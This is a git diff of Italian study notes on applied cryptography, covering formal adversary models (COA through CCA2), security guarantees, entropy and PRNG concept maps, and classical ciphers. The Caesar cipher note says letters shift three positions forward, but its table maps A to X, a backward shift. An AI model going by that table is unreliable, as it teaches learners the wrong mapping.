+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/distribuzione uniforme.md","id":"ccd895938fa368d5","x":-1920,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/generatore.md","id":"a8af4dca2d316f54","x":-1080,"y":-1320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/flusso.md","id":"f37c2d829e34f35e","x":-1080,"y":-1880,"width":400,"height":400},
+		{"type":"text","text":"# immissione diretta\n\nUtilizzo diretto dei dati emessi da un [[true random number generator]].","id":"96724ff212bbedf4","x":1440,"y":-1880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/mixing.md","id":"26eba4afd69d9dec","x":2000,"y":-1880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/hardware random number generator.md","id":"918eb5e1345ece32","x":880,"y":-2720,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/stato di un pseudo-random number generator.md","id":"d3c3ed455f9f9da9","x":880,"y":360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/update dello stato di un pseudo-random number generator.md","id":"ef2b29bf4095fe78","x":1440,"y":360,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropia.md","id":"c2ebebcaaffd700c","x":-240,"y":-760,"width":960,"height":960,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/forward secrecy.md","id":"8dae436057455a5f","x":2000,"y":-760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/backward secrecy.md","id":"95927e3c9e279c72","x":2000,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropy pool.md","id":"b29d9bbeb46db970","x":1720,"y":-1320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-random.md","subpath":"#`/dev/random`","id":"7f3159c3cd597794","x":520,"y":-1320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-urandom.md","subpath":"#`/dev/urandom`","id":"073d4edaf36ec539","x":40,"y":-1320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/pseudo-random number generator.md","id":"4db99c4310b9c4e3","x":880,"y":-760,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random fork.md","id":"9bafc3ff87cecfca","x":880,"y":920,"width":400,"height":520},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random clone.md","id":"fed08da66411c862","x":1440,"y":920,"width":400,"height":520}
+	],
+	"edges":[
+		{"id":"c4c5d37394093d0d","fromNode":"a80d1faf929770b4","fromSide":"right","toNode":"c2ebebcaaffd700c","toSide":"left","toEnd":"none"},
+		{"id":"da316662ceae7dbe","fromNode":"c2ebebcaaffd700c","fromSide":"right","toNode":"4db99c4310b9c4e3","toSide":"left","toEnd":"none"},
+		{"id":"e395f98eac20efde","fromNode":"4db99c4310b9c4e3","fromSide":"right","toNode":"8dae436057455a5f","toSide":"left","toEnd":"none"},
+		{"id":"0fb38412635b2c67","fromNode":"4db99c4310b9c4e3","fromSide":"right","toNode":"95927e3c9e279c72","toSide":"left","toEnd":"none"},
+		{"id":"02088935617e8163","fromNode":"4db99c4310b9c4e3","fromSide":"bottom","toNode":"d3c3ed455f9f9da9","toSide":"top","toEnd":"none"},
+		{"id":"ddf63cb5b1146fc3","fromNode":"d3c3ed455f9f9da9","fromSide":"right","toNode":"ef2b29bf4095fe78","toSide":"left","toEnd":"none"},
+		{"id":"5cec9246ea5f2ccd","fromNode":"ef2b29bf4095fe78","fromSide":"top","toNode":"4db99c4310b9c4e3","toSide":"bottom","toEnd":"none"},
+		{"id":"1d24370bd777f954","fromNode":"e8d41447270e18bf","fromSide":"bottom","toNode":"96724ff212bbedf4","toSide":"top"},
+		{"id":"04fa308fe547b614","fromNode":"e8d41447270e18bf","fromSide":"bottom","toNode":"26eba4afd69d9dec","toSide":"top"},
+		{"id":"d7634a7a838ff390","fromNode":"d3c3ed455f9f9da9","fromSide":"bottom","toNode":"9bafc3ff87cecfca","toSide":"top","toEnd":"none"},
+		{"id":"1fe4f8c68fada889","fromNode":"d3c3ed455f9f9da9","fromSide":"bottom","toNode":"fed08da66411c862","toSide":"top","toEnd":"none"},
+		{"id":"abf5a2085e841609","fromNode":"96724ff212bbedf4","fromSide":"bottom","toNode":"b29d9bbeb46db970","toSide":"top"},
+		{"id":"81315626e944e482","fromNode":"26eba4afd69d9dec","fromSide":"bottom","toNode":"b29d9bbeb46db970","toSide":"top"},
+		{"id":"04909072270ded1b","fromNode":"e8d41447270e18bf","fromSide":"left","toNode":"918eb5e1345ece32","toSide":"right","toEnd":"none"},
+		{"id":"a470a4533020b9fb","fromNode":"a80d1faf929770b4","fromSide":"left","toNode":"a38aaa763aa3ec73","toSide":"right","toEnd":"none"},
+		{"id":"13b5a6e57ca995b7","fromNode":"a80d1faf929770b4","fromSide":"left","toNode":"ccd895938fa368d5","toSide":"right","toEnd":"none"},
+		{"id":"fbd836884a45efad","fromNode":"a80d1faf929770b4","fromSide":"top","toNode":"a8af4dca2d316f54","toSide":"bottom","toEnd":"none"},
+		{"id":"35303bcf9369502b","fromNode":"a8af4dca2d316f54","fromSide":"top","toNode":"f37c2d829e34f35e","toSide":"bottom","toEnd":"none"},
+		{"id":"4bee1ce4d11113d4","fromNode":"4db99c4310b9c4e3","fromSide":"top","toNode":"b29d9bbeb46db970","toSide":"bottom"},
+		{"id":"316d0994e186d3d2","fromNode":"b29d9bbeb46db970","fromSide":"left","toNode":"f2d46001563aeab0","toSide":"right","toEnd":"none"},
+		{"id":"d72309ceaf12040e","fromNode":"f2d46001563aeab0","fromSide":"left","toNode":"a8af4dca2d316f54","toSide":"right","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/adaptive chosen-ciphertext attacker.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/adaptive chosen-ciphertext attacker.md
new file mode 100644
index 0000000..8ffd692
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/adaptive chosen-ciphertext attacker.md	
@@ -0,0 +1,11 @@
+---
+aliases: ["CCA2"]
+---
+
+[[tipo di avversario|Tipo di avversario]] in contesto di [[comunicazione simmetrica]] superiore al [[non-adaptive chosen-ciphertext attacker]]:
+
+- 👀 vede i [[ciphertext]] in transito tra gli [[sfidante|sfidanti]]
+- 📘 conosce almeno una corrispondenza tra [[plaintext]] e [[ciphertext]]
+- 📕 può scegliere il [[plaintext]] da far cifrare allo [[sfidante]] mittente
+- ✏️ può scegliere il [[ciphertext]] da fare decifrare allo [[sfidante]] destinatario
+- **⚔️ vede come viene decifrato il [[ciphertext]] dallo [[sfidante]] destinatario**
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/autenticità.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/autenticità.md
new file mode 100644
index 0000000..5757532
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/autenticità.md	
@@ -0,0 +1 @@
+[[garanzia|Garanzia]] superiore all'[[integrità]] che prevede che ogni messaggio inviato da uno [[sfidante]] ne denoti l'origine, e che il destinatario sia in grado di verificarla.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/blob.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/blob.md
new file mode 100644
index 0000000..0017857
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/blob.md	
@@ -0,0 +1 @@
+Dato individualmente privo di significato.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/chosen-plaintext attacker.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/chosen-plaintext attacker.md
new file mode 100644
index 0000000..44aaca8
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/chosen-plaintext attacker.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["CPA"]
+---
+
+[[tipo di avversario]] in contesto di [[comunicazione simmetrica]] superiore al [[known-plaintext attacker]] che:
+
+- 👀 vede i [[ciphertext]] in transito tra gli [[sfidante|sfidanti]]
+- 📘 conosce almeno una corrispondenza tra [[plaintext]] e [[ciphertext]]
+- **📕 può scegliere il [[plaintext]] da far cifrare allo [[sfidante]] mittente**
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext-only attacker.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext-only attacker.md
new file mode 100644
index 0000000..2afc9f8
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext-only attacker.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["COA", "EAV", "passive eavesdropper"]
+---
+
+[[tipo di avversario|Tipo di avversario]] in contesto di [[comunicazione simmetrica]] che:
+
+- **👀 vede i [[ciphertext]] in transito tra gli [[sfidante|sfidanti]]**
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md
new file mode 100644
index 0000000..8d84432
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md	
@@ -0,0 +1 @@
+[[blob|Blob]] che, dati certi prerequisiti, può essere riconvertito nel corrispondente [[plaintext]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/comunicazione simmetrica.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/comunicazione simmetrica.md
new file mode 100644
index 0000000..b2209dc
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/comunicazione simmetrica.md	
@@ -0,0 +1,5 @@
+[[dominio|Contesto]] in cui:
+
+- i [[squadra blu|difensori]] desiderano scambiarsi privatamente messaggi con determinate [[garanzia|garanzie]]
+- gli [[squadra rossa|attaccanti]] desiderano [[violazione|violare]] la segretezza dei messaggi inviati, ricavando delle informazioni
+- i [[squadra blu|difensori]] possono scambiarsi segreti prima dell'inizio della comunicazione, ma non dopo
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/confidenzialità.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/confidenzialità.md
new file mode 100644
index 0000000..cea7855
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/confidenzialità.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["CONF"]
+---
+
+[[garanzia|Garanzia]] che prevede che ogni messaggio inviato da uno [[sfidante]] non possa essere letto da chiunque non sia il destinatario inteso.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di cifratura.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di cifratura.md
new file mode 100644
index 0000000..a29fdad
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di cifratura.md	
@@ -0,0 +1 @@
+[[funzione ideale|Funzione ideale]] che converte un [[plaintext]] in un [[ciphertext]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di decifratura.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di decifratura.md
new file mode 100644
index 0000000..904a34c
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di decifratura.md	
@@ -0,0 +1 @@
+[[funzione ideale|Funzione ideale]] che converte un [[ciphertext]] in un [[plaintext]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md
new file mode 100644
index 0000000..17014a1
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md	
@@ -0,0 +1 @@
+[[garanzia|Garanzia]] superiore alla [[confidenzialità]] che prevede che ogni messaggio inviato da uno [[sfidante]] non sia distinguibile da un dato [[casualità crittografica|casuale]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/integrità.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/integrità.md
new file mode 100644
index 0000000..7692bef
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/integrità.md	
@@ -0,0 +1 @@
+[[garanzia|Garanzia]] che prevede l'apportazione di modifiche da parte di un [[avversario]] ad un messaggio inviato da uno [[sfidante]] sia rilevabile dal destinatario.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/irrational attacker.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/irrational attacker.md
new file mode 100644
index 0000000..5af70a0
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/irrational attacker.md	
@@ -0,0 +1,5 @@
+[[tipo di avversario|Tipo di avversario]] in contesto di [[comunicazione simmetrica]] che:
+
+- ❓ **può modificare casualmente il [[ciphertext]] in transito tra gli [[sfidante|sfidanti]]**
+
+Rappresenta attacchi "accidentali", come interferenze fisiche nella comunicazione.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/known-plaintext attacker.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/known-plaintext attacker.md
new file mode 100644
index 0000000..51d6289
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/known-plaintext attacker.md	
@@ -0,0 +1,8 @@
+---
+aliases: ["KPA"]
+---
+
+[[tipo di avversario|Tipo di avversario]] in contesto di [[comunicazione simmetrica]] superiore al [[ciphertext-only attacker]] che:
+
+- 👀 vede i [[ciphertext]] in transito tra gli [[sfidante|sfidanti]]
+- **📘 conosce almeno una corrispondenza tra [[plaintext]] e [[ciphertext]]**
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/non-adaptive chosen-ciphertext attacker.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/non-adaptive chosen-ciphertext attacker.md
new file mode 100644
index 0000000..05c7216
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/non-adaptive chosen-ciphertext attacker.md	
@@ -0,0 +1,10 @@
+---
+aliases: ["CCA1"]
+---
+
+[[tipo di avversario|Tipo di avversario]] in contesto di [[comunicazione simmetrica]] superiore al [[chosen-plaintext attacker]] che:
+
+- 👀 vede i [[ciphertext]] in transito tra gli [[sfidante|sfidanti]]
+- 📘 conosce almeno una corrispondenza tra [[plaintext]] e [[ciphertext]]
+- 📕 può scegliere il [[plaintext]] da far cifrare allo [[sfidante]] mittente
+- **✏️ può scegliere il [[ciphertext]] da fare decifrare allo [[sfidante]] destinatario**
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md
new file mode 100644
index 0000000..9dd6218
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md	
@@ -0,0 +1 @@
+[[testo|Testo]] che uno [[sfidante]] invia ad un altro.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/testo.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/testo.md
new file mode 100644
index 0000000..13baefe
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/testo.md	
@@ -0,0 +1 @@
+Dato che contiene informazioni con un significato semantico.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/tipo di avversario.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/tipo di avversario.md
new file mode 100644
index 0000000..7fecaf5
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/tipo di avversario.md	
@@ -0,0 +1 @@
+Descrizione formale dell'insieme di conoscenze e possibilità disponibili alla [[squadra rossa]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/★ mappa concettuale.canvas
new file mode 100644
index 0000000..766298f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/★ mappa concettuale.canvas	
@@ -0,0 +1,57 @@
+{
+	"nodes":[
+		{"type":"group","id":"33d7d2b5470de853","x":640,"y":-740,"width":1520,"height":3240,"color":"1","label":"Attacco"},
+		{"type":"group","id":"1dae24465110b0dc","x":-2300,"y":-740,"width":1480,"height":3240,"color":"5","label":"Difesa"},
+		{"type":"group","id":"34b339ca90ac0b37","x":-720,"y":1260,"width":1280,"height":1280,"color":"6","label":"Cifratura"},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/garanzia.md","id":"6cfc68539d5fdfa2","x":-1240,"y":680,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/dominio.md","id":"9e24953504428db2","x":-282,"y":120,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/confidenzialità.md","id":"4bd6df7b77e1cb56","x":-2280,"y":-120,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md","id":"13c2dfe09c434db0","x":-2280,"y":440,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/integrità.md","id":"b161641b58c42814","x":-2280,"y":1000,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/autenticità.md","id":"6c93784550c22466","x":-2280,"y":1560,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"deabce0b73196f8d","x":-640,"y":1560,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/testo.md","id":"2b6fbad1c5181a26","x":-540,"y":1280,"width":200,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/comunicazione simmetrica.md","id":"8240080e8fc61d44","x":-282,"y":680,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/tipo di avversario.md","id":"4121b48d5c930e6f","x":660,"y":680,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/chosen-plaintext attacker.md","id":"92e47ca8a0b00432","x":1380,"y":960,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext-only attacker.md","id":"638414a9934f8a26","x":1380,"y":-160,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/known-plaintext attacker.md","id":"d3229a95e338cdab","x":1380,"y":400,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"630696f93c1aa368","x":80,"y":1560,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/blob.md","id":"588ba4f26bcac81b","x":180,"y":1280,"width":200,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di cifratura.md","id":"264501b3bd9be698","x":-282,"y":2040,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di decifratura.md","id":"546787f91bf6aae6","x":-282,"y":2320,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/non-adaptive chosen-ciphertext attacker.md","id":"20736d2817cb563f","x":1380,"y":1520,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/adaptive chosen-ciphertext attacker.md","id":"99e9c83ae19e720d","x":1380,"y":2080,"width":760,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/irrational attacker.md","id":"a80c2178cf97ec5e","x":1380,"y":-720,"width":760,"height":400}
+	],
+	"edges":[
+		{"id":"ded59e51a9012915","fromNode":"9e24953504428db2","fromSide":"bottom","toNode":"8240080e8fc61d44","toSide":"top","toEnd":"none"},
+		{"id":"f3ffd478314f3fa8","fromNode":"8240080e8fc61d44","fromSide":"left","toNode":"6cfc68539d5fdfa2","toSide":"right","toEnd":"none"},
+		{"id":"4a19205d0e13705d","fromNode":"6cfc68539d5fdfa2","fromSide":"left","toNode":"13c2dfe09c434db0","toSide":"right","toEnd":"none"},
+		{"id":"4255be7a4a59021e","fromNode":"6cfc68539d5fdfa2","fromSide":"left","toNode":"6c93784550c22466","toSide":"right","toEnd":"none"},
+		{"id":"b39583cabc5d18b2","fromNode":"6cfc68539d5fdfa2","fromSide":"left","toNode":"b161641b58c42814","toSide":"right","toEnd":"none"},
+		{"id":"a093676bd8f05f19","fromNode":"6cfc68539d5fdfa2","fromSide":"left","toNode":"4bd6df7b77e1cb56","toSide":"right","toEnd":"none"},
+		{"id":"5b6ecceaf25f3c8d","fromNode":"8240080e8fc61d44","fromSide":"right","toNode":"4121b48d5c930e6f","toSide":"left","toEnd":"none"},
+		{"id":"bd5fb72de065fff8","fromNode":"4121b48d5c930e6f","fromSide":"right","toNode":"638414a9934f8a26","toSide":"left","toEnd":"none"},
+		{"id":"69fccc85dc961446","fromNode":"4121b48d5c930e6f","fromSide":"right","toNode":"d3229a95e338cdab","toSide":"left","toEnd":"none"},
+		{"id":"45985048f85662f4","fromNode":"4121b48d5c930e6f","fromSide":"right","toNode":"92e47ca8a0b00432","toSide":"left","toEnd":"none"},
+		{"id":"28f4b6630ad4843c","fromNode":"4121b48d5c930e6f","fromSide":"right","toNode":"20736d2817cb563f","toSide":"left","toEnd":"none"},
+		{"id":"b7416b938df123f7","fromNode":"4121b48d5c930e6f","fromSide":"right","toNode":"99e9c83ae19e720d","toSide":"left","toEnd":"none"},
+		{"id":"898229dd11498dac","fromNode":"264501b3bd9be698","fromSide":"right","toNode":"630696f93c1aa368","toSide":"bottom"},
+		{"id":"60da999360402882","fromNode":"630696f93c1aa368","fromSide":"right","toNode":"546787f91bf6aae6","toSide":"right"},
+		{"id":"df746a5240c5bfae","fromNode":"deabce0b73196f8d","fromSide":"bottom","toNode":"264501b3bd9be698","toSide":"left"},
+		{"id":"545b14077c48f2e4","fromNode":"546787f91bf6aae6","fromSide":"left","toNode":"deabce0b73196f8d","toSide":"left"},
+		{"id":"5be27db522a2e151","fromNode":"8240080e8fc61d44","fromSide":"bottom","toNode":"deabce0b73196f8d","toSide":"right","toEnd":"none"},
+		{"id":"b9faf2cdcf6e477f","fromNode":"8240080e8fc61d44","fromSide":"bottom","toNode":"630696f93c1aa368","toSide":"left","toEnd":"none"},
+		{"id":"2706863f18296790","fromNode":"630696f93c1aa368","fromSide":"top","toNode":"588ba4f26bcac81b","toSide":"bottom","toEnd":"none"},
+		{"id":"fcddb1cdfde588f5","fromNode":"deabce0b73196f8d","fromSide":"top","toNode":"2b6fbad1c5181a26","toSide":"bottom","toEnd":"none"},
+		{"id":"b8dbba4b0e5de2c5","fromNode":"4121b48d5c930e6f","fromSide":"right","toNode":"a80c2178cf97ec5e","toSide":"left"},
+		{"id":"321b3b17cbbb5433","fromNode":"20736d2817cb563f","fromSide":"bottom","toNode":"99e9c83ae19e720d","toSide":"top"},
+		{"id":"621a485f38748ae6","fromNode":"92e47ca8a0b00432","fromSide":"bottom","toNode":"20736d2817cb563f","toSide":"top"},
+		{"id":"0f84e9d53f4a7e29","fromNode":"d3229a95e338cdab","fromSide":"bottom","toNode":"92e47ca8a0b00432","toSide":"top"},
+		{"id":"96ea5aaab56f95bd","fromNode":"638414a9934f8a26","fromSide":"bottom","toNode":"d3229a95e338cdab","toSide":"top"},
+		{"id":"fe415e703158bfbc","fromNode":"a80c2178cf97ec5e","fromSide":"bottom","toNode":"638414a9934f8a26","toSide":"top"},
+		{"id":"cc454a6283d3f4d7","fromNode":"4bd6df7b77e1cb56","fromSide":"bottom","toNode":"13c2dfe09c434db0","toSide":"top"},
+		{"id":"b9f3dd61f956fed2","fromNode":"b161641b58c42814","fromSide":"bottom","toNode":"6c93784550c22466","toSide":"top"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a sostituzione.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a sostituzione.md
new file mode 100644
index 0000000..cb47d22
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a sostituzione.md	
@@ -0,0 +1,3 @@
+# #Extra
+
+[[funzione]] di [[crittografia classica]] in cui ciascun elemento del [[plaintext]] è sostituito biunivocamente nel [[ciphertext]] da un altro scelto dallo [[sfidante]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a trasposizione.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a trasposizione.md
new file mode 100644
index 0000000..3a2f188
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a trasposizione.md	
@@ -0,0 +1,3 @@
+# #Extra
+
+[[funzione]] di [[crittografia classica]] in cui gli elementi del [[plaintext]] sono [[permutazione|permutati]] in un modo conosciuto solo agli [[sfidante|sfidanti]] per formare il [[ciphertext]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario di Cesare.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario di Cesare.md
new file mode 100644
index 0000000..80e8252
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario di Cesare.md	
@@ -0,0 +1,32 @@
+# #Extra
+
+[[cifrario a sostituzione]] che codifica e decodifica un messaggio sostituendo ciascuna sua lettera con quella tre posizioni dopo nell'alfabeto.
+
+| [[plaintext]] | [[ciphertext]] |
+|---------------|----------------|
+| A             | X              |
+| B             | Y              |
+| C             | Z              |
+| D             | A              |
+| E             | B              |
+| F             | C              |
+| G             | D              |
+| H             | E              |
+| I             | F              |
+| J             | G              |
+| K             | H              |
+| L             | I              |
+| M             | J              |
+| N             | K              |
+| O             | L              |
+| P             | M              |
+| Q             | N              |
+| R             | O              |
+| S             | P              |
+| T             | Q              |
+| U             | R              |
+| V             | S              |
+| W             | T              |
+| X             | U              |
+| Y             | V              |
+| Z             | W              |
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/crittografia classica.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/crittografia classica.md
new file mode 100644
index 0000000..aa77f56
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/crittografia classica.md	
@@ -0,0 +1,3 @@
+[[problema|Problema]] di [[comunicazione simmetrica]] in cui si vogliono mantenere [[confidenzialità|confidenziali]] uno o più [[ciphertext]] da una [[squadra rossa]] che non ne conosce le modalità usate per crearlo.
+
+Diventa obsoleta con la nascita della [[crittoanalisi]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/★ mappa concettuale.canvas
new file mode 100644
index 0000000..e9e5ac7
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/★ mappa concettuale.canvas	
@@ -0,0 +1,20 @@
+{
+	"nodes":[
+		{"type":"group","id":"ab92ef09bb424b98","x":-460,"y":260,"width":920,"height":1680,"color":"6","label":"Cifrari storici"},
+		{"type":"group","id":"6356a5ab62893ed3","x":-780,"y":-300,"width":440,"height":440,"color":"1","label":"Attacco"},
+		{"type":"group","id":"2ecd607853daeaa0","x":320,"y":-300,"width":440,"height":440,"color":"5","label":"Difesa"},
